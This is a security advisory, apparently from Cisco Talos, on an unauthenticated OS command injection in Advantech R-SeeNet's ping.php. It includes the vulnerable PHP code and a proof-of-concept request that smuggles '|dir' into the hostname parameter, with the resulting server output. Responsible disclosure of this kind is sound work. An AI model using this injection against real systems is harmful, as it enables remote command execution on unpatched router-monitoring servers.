CVE-2021-21805
An OS Command Injection vulnerability exists in the ping.php script functionality of Advantech R-SeeNet v 2.4.12 (20.10.2020). A specially crafted HTTP request can lead to arbitrary OS command execution. An attacker can send a crafted HTTP request to trigger this vulnerability.
Advantech R-SeeNet 2.4.12 (20.10.2020)
https://ep.advantech-bb.cz/products/software/r-seenet
9.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWE-78 - Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’)
R-SeeNet is the software system used for monitoring Advantech routers. It continuously collects information from individual routers in the network and records the data into a SQL database.
This vulnerability is present in ping.php script, which is a part of the Advantech R-SeeNet web applications. A specially crafted HTTP request sent by an attacker can lead to arbitrary OS command execution.
The ping.php script accepts hostname parameter coming from the user via http request and is accessible without any authorization:
php/ping.php
Line 12 if(isset($_GET['hostname']) && ($_GET['hostname'] != ''))
Line 13 { // hostname zadano
Line 14 $hostname = $_GET['hostname'];
Line 15 }
The parameter is not sanitized in a context of OS Command Injection and further used directly in popen function:
php/ping.php
Line 116 else
Line 117 { // jedeme na linuxu, kvuli bezpecnostnim pravidlum jsme odkazani na program ping
Line 118 echo " <tr>\n";
Line 119 echo " <td>\n";
Line 120 echo " <pre>\n";
Line 121 $content = '';
Line 122 $fd = popen("ping -c ".$cfg['ping_count']." -s 64 -t 64 ".$hostname,"r");
Line 123 if(!$fd)
Line 124 {
Line 125 $content = 'Ping not available.';
Line 126 }
Line 127 else
Line 128 {
Line 129 while(!feof($fd)) {
Line 130 $content = $content.fread($fd, 1024);
Line 131 }
Line 132 pclose($fd);
Line 133 }
Line 134 echo($content);
Request example
GET /php/ping.php?hostname=|dir HTTP/1.1\r\n
Host: 192.168.153.134\r\n
Connection: keep-alive\r\n
Upgrade-Insecure-Requests: 1\r\n
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36\r\n
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\r\n
Accept-Encoding: gzip, deflate\r\n
Accept-Language: pl-PL,pl;q=0.9,en-US;q=0.8,en;q=0.7\r\n
Cookie: PHPSESSID=ppe11sb53oqa82d3o0trtkllr0\r\n
\r\n
[Full request URI: http://192.168.153.134/php/ping.php?hostname=|dir]
[HTTP request 1/1]
[Response in frame: 33]
Response
HTTP/1.1 200 OK
Date: Mon, 08 Mar 2021 19:23:12 GMT
Server: Apache/2.2.17 (Win32) mod_ssl/2.2.17 OpenSSL/0.9.8o PHP/5.3.4
X-Powered-By: PHP/5.3.5
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=utf-8
368
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta name="description" content="TODO - info">
<meta http-equiv="pragma" content="no-cache">
<meta http-equiv="cache-control" content="no-cache">
<title>Ping |dir</title>
<link rel='stylesheet' href='css/style.css' type='text/css'>
<link rel='stylesheet' href='css/wait_indicator.css' type='text/css'>
<script src="js/wait_indicator.js" type="text/javascript"></script>
</head>
<body onload="ind_off()" class="new_window">
<!-- dialog -->
<div class="wait_dialog" id="wait_table" style="visibility: visible">
</div>
<table width="530px">
<tr>
<th>Ping</th>
</tr>
<tr>
<td>
<table width="100%">
186a
<tr>
<td>
<pre>
Volume in drive C has no label.
Volume Serial Number is B67A-CF0F
Directory of C:\R-SeeNet\htdocs\php
03/05/2021 06:02 PM <DIR> .
03/05/2021 06:02 PM <DIR> ..
03/03/2017 06:07 PM 6,231 about_form.php
06/25/2013 03:48 PM 3,460 add_company_form.php
10/05/2014 01:20 PM 15,483 add_device_form.php
03/08/2017 01:18 PM 8,186 add_group_form.php
09/09/2014 04:41 PM 12,156 add_user_form.php
06/25/2013 03:48 PM 8,266 appearance_opt.php
03/06/2012 02:18 PM 482 bottom.php
10/17/2016 01:36 PM 4,626 cfg.php
06/07/2012 07:39 AM 1,538 check_user.php
06/25/2013 03:48 PM 6,603 company_change.php
09/10/2020 09:10 AM 14,792 company_list.php
03/04/2021 04:43 PM 657 csv_export.php
05/04/2012 06:26 AM 4,999 daily_report.php
(...)
For testing purposes condition in line 59 if(getenv("OS")=="Windows_NT") has been changed to trigger this vuln on Windows platform.
2021-03-11 - Initial contact with vendor
2021-03-14 - Advisory issued to CISA
2021-04-13 - Follow up with vendor & CISA
2021-06-07 - Follow up with vendor & CISA (no response)
2021-06-22 - Final 90 day notice issued
2021-07-15 - Public Disclosure
Member of the Cisco Talos team